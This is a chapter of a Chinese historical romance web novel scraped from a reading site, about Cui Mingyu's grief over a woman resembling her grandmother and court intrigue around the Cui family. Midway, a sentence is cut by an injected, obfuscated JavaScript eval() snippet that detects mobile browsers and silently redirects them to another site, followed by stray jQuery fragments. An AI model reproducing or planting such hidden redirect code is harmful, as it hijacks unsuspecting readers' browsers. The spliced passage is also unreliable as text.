默认冷灰
24号文字
方正启体

17. 第 17 章

作者:nourish本书字数:K更新时间:
    永乐殿外,萧瑟的北风吹拂红衣,赵祯明等在远一些的地方负手而立,留赵舒之三人说话。


    崔鸣玉努力在脑海中回想外婆的样子,却惊恐地发现眼前人的样子与外婆的样子极为相似,可以说是一模一样!


    为什么?


    为什么又是一样的?


    到底为什么?


    “等等。”崔鸣玉哑着嗓道。


    赵舒之原本也不想这样做,只是陈王步步紧逼,自己也存了要给崔家正名的心思,否则,不会不事先通知崔鸣玉。


    “玉娘…我…”


    崔鸣玉木着一张脸,眼泪被堵在喉咙里,声音哑得很,“你先不要说,我想问外婆一个问题,你去旁边等我。”


    赵舒之沉着眼,走到赵祯明所站立的地方,但眼神却没有离开崔鸣玉半分。


    崔鸣玉扶着人,嘴唇凑到吴衣还有听觉的那只耳旁,轻声喊,“你是我的外婆吗?”


    吴衣听见了,皱了皱眉,继而轻轻笑了笑,抬起手在虚无的空中想要找到崔鸣玉的脸,“多年不见了,玉娘,你在上京过得好不好?”


    我就知道,我就知道!


    你不是…


    你不是!


    可是你和她长得那么像,长得一模一样,连声音都那么像,你怎么可以说你不是?!


    我都可以穿越?为什么外婆不可以?!


    既然不可以,那又为什么和她长得那么像!


    “我好,我很好。”


    只一句话,崔鸣玉便再也支撑不住。


    眼泪无用地划过面庞,模糊了吴衣的脸,也模糊了崔鸣玉满是裂痕的心,让她再也分不清这是穿越,还是重生。


    赵舒之见崔鸣玉失声痛苦,便赶紧让赵祯明带吴衣先行离开,“阿姐,先回府里。”


    “好。”赵祯明扶过吴衣,带着人,一步一步地离开。


    赵舒之走到崔鸣玉的身前,将人弯着的身子靠在了自己胸前,满目怜惜,“对不住,我不是有意害你伤心。”


    崔鸣玉的额头靠着赵舒之的肩,泪水从指缝里流出来,滴在地上、


    崔鸣玉不会放声痛苦,她甚至不会嘶吼,她的内心压抑了许多,压抑到她连放声痛哭都需要勇气。


    “赵舒之,我是不是还在做梦?”崔鸣玉哽咽着问道,连声音都在颤抖。


    赵舒之从衣袖里掏出手帕,递给崔鸣玉,缓声道:“不是梦,这一切都是真的。”


    崔鸣玉靠在赵舒之的怀里,沉默地哭了许久,从白天哭到黄昏,像是要把自己从醒来之后,每一天的眼泪都在这一天,这一刻哭个干净。


    等她真的不再哭的时候,黄昏已然要褪色了。


    “我…我们走吧。”崔鸣玉此刻的声音极度暗哑,整个人像是被吸干了一样。


    赵舒之没办法,崔鸣玉想哭,那就哭,哭到什么时候都可以,他都会陪着。


    “好。”他应下,随即脚跨一步到崔鸣玉身前,“我背你走,哭得太久,很累了。我背你,会舒坦一些。”


    崔鸣玉的眼睛肿得像两颗鸡蛋,不知道该怎么应,只是呆呆地站着。


    赵舒之看着她呆愣的样子,轻笑了声,“那我自己来了?”


    说罢,便拉起崔鸣玉的手,将人直接背起来走了。


    崔鸣玉恍恍惚惚地记得上次进宫,离开的时候,好像也是黄昏。


    秦风赫站得远也看得久,直看着那两人出了宫门,身后的侍卫才开口道:“殿下,属下只查到吴衣进京时,身边只有一名婢子,至于她是什么时候进京,从哪里进京,一无所知。”随即,便朝秦风赫跪下,“属下无能,还请殿下恕罪。”


    秦风赫抬了抬手让人起来,没什么表情道:“赵舒之的手段,你们自然查不到,想来应是赵祯明帮了他。从西北带个人回来,对卫将军来说,也不是难事。”接着,他又像是想起什么,“你之前说,祝文齐妹妹的女儿被陈王纳进府里做了侧妃?”


    “是,就在几天之前。”


    “难怪。”


    一阵晚风掠过层层叠叠的宫门,道道比人还高的门槛,直吹进了厚厚的帷幔之中。


    “汐儿,把窗都关回来,进风了。”


    “是,皇后娘娘。”


    赵晚容将帷幔重新放好,正欲走,却被帷幔里的人叫住,“晚容。”


    声音气若游丝,却也能听得出来是个男人,一个病入膏肓的男人。


    “今日陛下乏了,便好好休息吧。”


    “今日的事,你怎么看?”


    赵晚容轻叹一声,回身在床沿边坐下,轻声道:“陛下不是已经处理好了吗?”


    “当年派重生去援军,是朕思虑不周。他熟悉江南,却不熟悉北境,亳城又在西北,他和万千将士的死,朕也有责任。”


    赵晚容仿佛知道他会这么说,平静道:“陛下神思多虑,才会致使身体早衰,还是不要再想了。”


    “你是在说朕想多了?”


    一个反问的语气,在任何一个人的身上出现,都不值得大惊小怪,但在皇帝的身上,轻轻地一个反问便会让人胆战心惊。


    可赵晚容的神色却没有丝毫的改变,“崔重生和五千将士的死,不是陛下愿意看见的。是北狄人太狡猾了,再加上有心之人的出卖,便是神仙也难逃过这般的死局。”


    话音刚落,帷幔里头的人忽然重重地咳了好几声,吓得赵晚容掀开帷幔去看,“陛下?”


    赵晚容将人靠在床头边,神色极其担忧。


    咳嗽的声音渐渐停下来,喘气顺气的声音却一直没停。


    “陛下,我再让祁太医过来看看吧。”


    “不必了,朕的身体自己知道。”接着,他喘了好几口气,将喉间的痒意压下,“你还是叫我正安吧,陛下陛下的,听得我像是在上朝。”


    赵晚容一下笑出来,仿佛还带着年轻时的笑颜。


    两人年纪都不小了,眼角长出细纹,皮肉渐渐松弛,这是不可改变的,赵晚容也不觉得有什么,只是这几年秦正安病痛缠身,一下子老了许多。


    “正安。”


    终于没在上朝的秦正安,心里还算是舒坦了些,喉咙也没那么痒了,他握住赵晚容的手道:“崔家的姑娘,我看着,倒是有几分她娘的样子。”


    赵晚容点点头,“不错。看着与舒之也是甚为般配。”


    秦正安被赵晚容扶着坐起来顺气,抿了抿赵晚容递过来的水,叹了口气道:“若是重生还在,他定不会让孩子嫁给舒之。”


    赵晚容将杯子递给婢子,沉下眼来,“行差踏错便会跌落深渊,终究是委屈那孩子。若不是舒之一心求娶,我也不会让这门婚事落定。朝中对英王府的关注还是太过了些。”


    “英王手握北境兵权,你又是中宫皇后,朝内朝外这份在意怕是下不去的。”说罢,又轻咳了声,“罢了。让孩子们自己折腾好了,我的时间也不多了。”


    提到这个,赵晚容的脸色更加沉闷。


    秦正安看着她一下就黑下去的脸,不由得好笑,“你这是做什么?”


    “臣妾不喜欢陛下刚刚说的话,自然不开心。”


    “你不喜欢,我以后就不说了。把祯明递上来的军报拿给我看看吧。”


    赵晚容应了声,转身之时,一滴泪滑进衣领里。


    深夜,世子府。


    赵祯明和赵舒之坐在前堂,两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522295|202245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人面色平静地喝茶却又像是带了那么一丝讨好的意味?


    转眼一看一旁还坐了一个人——吴音。


    赵祯明握拳轻咳了声,“额…舒之随玉娘叫姨母,那我便也喊您一句姨母。还请吴姨母不要生气,舒之这件事确实做得不够好…”


    吴音黑着一张脸,想着自己刚刚来时听到的风言风语。说什么赵舒之冲冠一怒为红颜,在中秋宴上为崔将军一家正名,博崔家女的欢心…


    吴音一听见流言便着急忙慌地赶过来,结果谁都没见到。


    吴衣走了太久,需要休息。崔鸣玉则是哭了一下午,力竭昏睡过去了。


    “世子还真是为玉娘着想啊,连已经死去的大姐都能神不知鬼不觉地带进上京城。”


    这话说得很刻薄了。


    赵舒之和赵祯明一对眼,眼神里皆是探究,毕竟是崔鸣玉的娘家人,可得好好对待。


    但不该说的也不能说一个字。


    赵舒之当即站起身,朝吴音拱手道:“实在对不住姨母,这件事必须要做得隐秘。我连玉娘都不敢告知,生怕隔墙有耳,万望姨母体谅。”


    吴音不是个刻薄寡恩的人,赵舒之做的事是为了崔家好的,这她很明白,只是她不明白的是,为什么赵舒之要做这样事?


    “你为什么要帮崔家正名,这本不该是你要做的事。”


    赵舒之抬起眼,朝吴音看去,“家父与崔将军也是有过几面之缘的,况且我与玉娘已经成婚,这件事也本该我做。”


    吴音叹了口气,缓慢道:“玉娘从西北回来之后,这有关当时的记忆就模糊不清,还时常犯噩。找了许多大夫都无济于事,想来应是与当时的事情有关。”


    接着,她抬了抬手,让赵舒之坐回去,“这件事,算是我们欠你的,你做得好,我也无法说你什么,只希望以后,你们能健康平安,就是我们做父母的,最大的心愿了。”


    赵祯明显然是被吴音的一番话说到心里,“没错,只要你们好好的,我和父王也就心满意足了。”


    吴音今夜是匆忙出来的,不能久待,说完话就起身告辞,“两位不必相送了,让碧儿送我出去就好了。”


    碧儿站在前堂外,闻言应了声,“是。”


    赵祯明和赵舒之自然没意见,“恭送姨母。”


    吴音跟着碧儿出去,暗暗的夜空之下,一盏明灯为人照亮前路。


    “衣姐怎么样?”


    “夫人放心,老夫人还好。”


    “那就好,赵舒之可有发现什么?”


    “没有。”


    “你盯着玉娘的动向,有什么不对,就来解府告诉我。”


    “是。”


    吴音匆忙回到解府,大门处,解仲瑜站那等她,见吴音的车马回来,赶忙将人接下来。


    “玉娘和大姐如何?”


    “都好。”


    “那就好,此番的事还真是让人意想不到。”


    两人一起进门,吴音回道:“我确实没想到他会这么做。”


    话音刚落,一阵风吹过,吴音应是被风里的尘土一撩拨,当即重重地咳起来,解仲瑜急忙扶着人到前堂坐下,从衣袖里掏出一个小药瓶倒出里面的一粒黑乎乎的药丸,递给吴音,“快吃一粒。”


    吴音趁着喘气的间隙,将药吞了下去。


    解仲瑜叹气道:“你这病,是早年去西北落下的,也是你的心病……”


    吴音抬手阻止了他继续说下去,“我没事,你少担心我了。”


    解仲瑜给她倒水顺气,无言道:“没事最好。”


    ……


    黑夜就在一个又一个的“兵荒马乱”中度过,明天的太阳依旧照常升起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)